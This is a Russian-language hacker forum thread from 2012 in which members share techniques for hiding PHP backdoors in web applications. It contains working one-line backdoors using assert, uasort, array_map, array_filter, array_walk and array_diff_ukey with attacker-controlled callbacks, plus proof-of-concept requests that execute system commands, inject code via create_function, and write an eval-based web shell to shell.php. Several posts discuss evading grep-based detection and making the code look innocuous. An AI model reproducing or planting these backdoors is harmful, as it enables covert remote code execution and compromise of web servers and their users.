HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 11.01.2012, 17:09
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию

Цитата:
Сообщение от Ereee  
Ereee said:
>У тебя по сути всегда будет $a!=$b.
С чего это вдруг?
Потому что $b _не_была_ установлена ранее. Теперь все ок.

Ну не нравится eval, есть куча других возможностей исполнить код.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
 
Ответить с цитированием

  #22  
Старый 11.01.2012, 17:11
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Цитата:
Сообщение от Boolean  
Boolean said:
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR
 
Ответить с цитированием

  #23  
Старый 11.01.2012, 17:30
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию

Цитата:
Сообщение от Expl0ited  
Expl0ited said:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR
ололо.

Во-первых assert ищут крайне редко.

Во-вторых, "shell" бы также нашли. =\\

В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше.

upd:

а

Код:
Code:
assert       ($_GET['lol'])
уже не найдет. пичалько.
 
Ответить с цитированием

  #24  
Старый 11.01.2012, 17:35
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert|eval"[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR
Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.
 
Ответить с цитированием

  #25  
Старый 11.01.2012, 17:36
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию

1) $_GET lol.

2) egrep -H "assert" `find . -type f -name "*.php" -print` lol.

3) lol
 
Ответить с цитированием

  #26  
Старый 16.01.2012, 18:30
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию

Эдакий eval на основе «бага» php.

create_function - по своей сути обычный eval.

Сам код:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
PoC:

Код:
Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
 
Ответить с цитированием

  #27  
Старый 16.01.2012, 18:41
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Цитата:
Сообщение от Boolean  
Boolean said:
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
PoC:
Код:
Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
это не баг, это обычная callback функция
 
Ответить с цитированием

  #28  
Старый 16.01.2012, 18:44
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию

Цитата:
Сообщение от Expl0ited  
Expl0ited said:
это не баг, это обычная
callback
функция
под багом я понимал не каллбак, а сам баг сreate_function:

https://bugs.php.net/bug.php?id=48231
 
Ответить с цитированием

  #29  
Старый 16.01.2012, 22:16
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756

Репутация: 0
По умолчанию

Цитата:
Сообщение от Boolean  
Boolean said:
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231
Насчёт "бага" там отличный ответ разработчиков. Лучше пожалуй и не скажешь
 
Ответить с цитированием

  #30  
Старый 18.01.2012, 11:42
Boolean
Guest
Сообщений: n/a
Провел на форуме:
40748

Репутация: 78
По умолчанию

«callback похождения»

Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.

Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.

array_map, array_filter, array_walk

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_walk[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Кому как[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]что лучше смотрится[/COLOR][COLOR="#007700"].

[/
COLOR][/COLOR
PoC:

Код:
Code:
http://localhost/test.php?login=system&password[]=type+test.php
array_diff_ukey

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_diff_ukey[/COLOR][COLOR="#007700"](@array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]), @array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'re_password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.

PoC:

Код:
Code:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
В файле shell.php будет «евальник».

Или же PoC[2], опять же "баг" с create_function:

Код:
Code:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
Результатом будет являться выполнение phpinfo();
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ